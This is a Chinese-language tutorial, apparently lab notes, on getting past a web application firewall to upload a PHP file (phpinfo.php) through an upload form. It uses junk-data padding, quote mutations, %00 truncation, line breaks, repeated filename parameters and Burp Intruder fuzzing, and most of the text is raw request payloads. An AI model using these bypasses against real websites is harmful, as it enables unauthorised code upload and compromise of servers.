asdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasvasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdassdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasd;name="upload_file"; filename="phpinfo.php" Content-Type: image/jpeg <?php phpinfo(); ?> -----------------------------3440298842996763469523404607 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------3440298842996763469523404607--
成功了可以上传上去
符号变异
'号,测试了这个好像不行
原理就是waf检查的时候可能检查单引号和双引号的内容,你用一个单引号他就没有办法检查了
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename='xxx.php Content-Type: image/jpeg
"号,测试了这个好像不行
原理就是waf检查的时候可能检查单引号和双引号的内容,如果你用的是一个双引号他检查就可以检查不到
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx.php Content-Type: image/jpeg
引号其他测试方法,也可上传,但是无法解析
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="x"xxx.php" Content-Type: image/jpeg
%00,这个方法可以
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx.php%00.png" Content-Type: image/jpeg
要在16进制里面修改
;号,测试了这个好像不行,其他文章我看见人家测试成功了 文章地址https://www.yuque.com/samxara/swro13/ee9r0h
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx.png;aa.php" Content-Type: image/jpeg
换行
我这个测试没有成功,其他文章测试成功了 文章地址https://www.yuque.com/samxara/swro13/ee9r0h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx.p hp" Content-Type: image/jpeg 或者修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx. p h p" Content-Type: image/jpeg 或者修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx . p h p" Content-Type: image/jpeg
参数多次
下面这个方法我没有测试成功,其他文章测试成功了 文章地址https://www.yuque.com/samxara/swro13/ee9r0h
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.png"; filename="xxx.php" Content-Type: image/png
下面还有几种方法,能上传但是不能解析
1 2 3 4 5 6 7 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data;name="upload_file"; filename="Content-Disposition: form-data;name="upload_file"a.php" Content-Type: image/jpeg
配合目录命名绕过
“/“与”;”配合绕过,我测试好像不行
1 2 3 4 5 6 7 8 9 10 11 12 修改前 Content-Disposition: form-data; name="upload_file"; filename="xxx.php" Content-Type: image/jpeg 修改后 Content-Disposition: form-data; name="upload_file"; filename="/jpeg;x.php" Content-Type: image/jpeg 或者修改后 Content-Disposition: form-data; name="upload_file"; filename="/jpeg;/x.php" Content-Type: image/jpeg
FUZZ字典配合
手工测试的话有点麻烦,可以借助写好的字典配合BP进行批量测试,先在本地测试,然后在真实环境进行测试,以防封IP
字典项目地址
1 2 https://github.com/TheKingOfDuck/fuzzDicts https://github.com/fuzzdb-project/fuzzdb
借助fuzzDicts的php字典进行测试。
首先将拦截的数据包发送至Intruder
清除所有变量
将filename的值设置为变量
payload加载字典
开始攻击
不一定能成功,成败与否的关键是字典的好坏